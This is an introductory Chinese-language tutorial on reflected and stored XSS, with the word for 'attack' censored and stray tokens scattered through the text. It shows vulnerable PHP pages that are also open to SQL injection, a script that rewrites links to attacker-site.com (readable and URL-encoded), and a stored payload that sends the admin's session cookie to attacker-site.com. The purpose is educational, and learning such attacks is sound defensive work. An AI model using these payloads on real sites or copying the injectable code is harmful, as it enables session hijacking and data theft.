XSS***入门讲解

xss表示Cross Site Scripting(跨站脚本***),它与SQL注入***相似,SQL注入***中以SQL语句做为用户输入,从而达到查询/修改/删除数据的目的,而在xss***中,经过插入恶意脚本,实现对用户游览器的控制。php


xss***能够分红两种类型:html

  • 非持久型***web

  • 持久型***数据库

下面咱们经过具体例子,了解两种类型xss***。服务器


1.非持久型xss***cookie


顾名思义,非持久型xss***是一次性的,仅对当次的页面访问产生影响。非持久型xss***要求用户访问一个被***者篡改后的连接,用户访问该连接时,被植入的***脚本被用户游览器执行,从而达到***目的。session


假设有如下index.php页面:app


<?phpxss

$name = $_GET['name'];ide

echo "Welcome $name<br>";

echo "<a href="http://www.cnblogs.com/bangerlee/">Click to Download</a>";

?>

该页面显示两行信息:


从URI获取 'name' 参数,并在页面显示

显示跳转到一条URL的连接

这时,当***者给出如下URL连接:

index.php?name=guest<script>alert('attacked')</script>

当用户点击该连接时,将产生如下html代码,带'attacked'的告警提示框弹出:


Welcome guest

<script>alert('attacked')</script>

<br>

<a href='http://www.cnblogs.com/bangerlee/'>Click to Download</a>

 


除了插入alert代码,***者还能够经过如下URL实现修改连接的目的:


index.php?name=

<script>

window.onload = function() {

var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}

</script>


当用户点击以上***者提供的URL时,index.php页面被植入脚本,页面源码以下:


<script>

window.onload = function() {

var link=document.getElementsByTagName("a");link[0].href="http://attacker-site.com/";}

</script>

<br>

<a href='http://www.cnblogs.com/bangerlee/'>Click to Download</a>


用户再点击 "Click to Download" 时,将跳转至***者提供的连接。


对于用于***的URL,***者通常不会直接使用以上可读形式,而是将其转换成ASCII码,如下URL一样用于实现连接地址变动:


index.php?name=%3c%73%63%72%69%70%74%3e%77%69%6e%64%6f%77%2e%6f%6e%6c%6f%61%64%20%3d%20%66%75%6e%63%74%69%6f%6e%28%29%20%7b%76%61%72%20%6c%69%6e%6b%3d%64%6f%63%75%6d%65%6e%74%2e%67%65%74%45%6c%65%6d%65%6e%74%73%42%79%54%61%67%4e%61%6d%65%28%22%61%22%29%3b%6c%69%6e%6b%5b%30%5d%2e%68%72%65%66%3d%22%68%74%74%70%3a%2f%2f%61%74%74%61%63%6b%65%72%2d%73%69%74%65%2e%63%6f%6d%2f%22%3b%7d%3c%2f%73%63%72%69%70%74%3e 


2.持久型xss***


持久型xss***会把***者的数据存储在服务器端,***行为将伴随着***数据一直存在。下面来看一个利用持久型xss***获取session id的实例。


session背景知识


咱们知道HTTP是一个无状态维持的协议,全部请求/应答都是独立的,其间不保存状态信息。但有些场景下咱们须要维护状态信息,例如用户登陆完web应用后,再必定时间内,用户再进行登陆,应不须要再输入用户名/密码进行鉴权。


这时咱们用cookie和session解决状态维护问题,当用户首次登入时,服务器为该用户建立一个 session ID,同时向游览器传送一个 cookie,cookie保存会话链接中用到的数据,session ID做为会话标识,游览器后续的请求均基于该session ID。


***者能够提供一个***连接,当用户点击该连接时,向***者本身的服务器发送一条保存有用户session ID的信息,这样就能够窃取到用户的session ID,获得用户的执行权限。


现有如下login.php,其根据 user_name 在数据中查找相应的 pass_word,而后将用户提供的 password 与查数据库所得的 pass_word 进行比较,若是验证成功则建立对应于 user_name 的 session。


<?php

$Host= '192.168.1.8';

$Dbname= 'app';

$User= 'yyy';

$Password= 'xxx';

$Schema = 'test';


$Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";


/* Connect with database asking for a new connection*/

$Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);


/* Error checking the connection string */

if (!$Connect) {

 echo "Database Connection Failure";

 exit;

}


$query="SELECT user_name,password from $Schema.members where user_name='".$_POST['user_name']."';";


$result=pg_query($Connect,$query);

$row=pg_fetch_array($result,NULL,PGSQL_ASSOC);


$user_pass = md5($_POST['pass_word']);

$user_name = $row['user_name'];


if(strcmp($user_pass,$row['password'])!=0) {

 echo "Login failed";

}

else {

 # Start the session

 session_start();

 $_SESSION['USER_NAME'] = $user_name;

 echo "<head> <meta http-equiv=\"Refresh\" content=\"0;url=home.php\" > </head>";

}

?>


另有如下home.php,其根据登入的用户是 admin 仍是其余用户,显示不一样内容,对于admin,其列出全部用户,对于其余用户,提供包含输入框的form,可在数据库中插入新的用户名信息。


<?php

session_start();

if(!$_SESSION['USER_NAME']) {

 echo "Need to login";

}

else {

 $Host= '192.168.1.8';

 $Dbname= 'app';

 $User= 'yyy';

 $Password= 'xxx';

 $Schema = 'test';

 $Conection_string="host=$Host dbname=$Dbname user=$User password=$Password";

 $Connect=pg_connect($Conection_string,$PGSQL_CONNECT_FORCE_NEW);

 if($_SERVER['REQUEST_METHOD'] == "POST") {

  $query="update $Schema.members set display_name='".$_POST['disp_name']."' where user_name='".$_SESSION['USER_NAME']."';";

  pg_query($Connect,$query);

  echo "Update Success";

 }

 else {

  if(strcmp($_SESSION['USER_NAME'],'admin')==0) {

   echo "Welcome admin<br><hr>";

   echo "List of user's are<br>";

   $query = "select display_name from $Schema.members where user_name!='admin'";

   $res = pg_query($Connect,$query);

   while($row=pg_fetch_array($res,NULL,PGSQL_ASSOC)) {

    echo "$row[display_name]<br>";

   }

 }

 else {

  echo "<form name=\"tgs\" id=\"tgs\" method=\"post\" action=\"home.php\">";

  echo "Update display name:<input type=\"text\" id=\"disp_name\" name=\"disp_name\" value=\"\">";

  echo "<input type=\"submit\" value=\"Update\">";

 }

}

}

?>


注意以上场景中,对 admin 和其余用户进行了不一样的权限设置,admin能够看到全部用户列表,下面咱们来看如何获取 admin 的session ID,从而使得其余用户也能得到 admin 的权限。


首先,***者以一个普通用户登陆进来,而后在输入框中提交如下数据:


<a href=# onclick=\"document.location=\'http://attacker-site.com/xss.php?c=\'+escape\(document.cookie\)\;\">bangerlee</a>

 

***者提交了条带<a>标签的数据,该条数据将保存在数据库中,而当 admin 用户登入时,包含 "bangerlee" 的用户列表将显示,若是 admin 用户点击 "bangerlee" 时,在 "attacker-site.com" 所在的服务器上,***者就能够窃取到 admin 的session-id:


xss.php?c=PHPSESSID%3Dvmcsjsgear6gsogpu7o2imr9f3

有了该session-id,***者在会话有效期内便可得到 admin 用户的权限,而且因为***数据已添加入数据库,只要***数据未被删除,那么***还有可能生效,是持久性的。


 

固然,不是只有持久型xss***才能窃取session ID、用户的cookie信息,用非持久型xss也能够,只要引导用户点击某连接,将 document.cookie 信息传到指定服务器便可,以上仅做为说明持久型xss***的举例。

相关文章
相关标签/搜索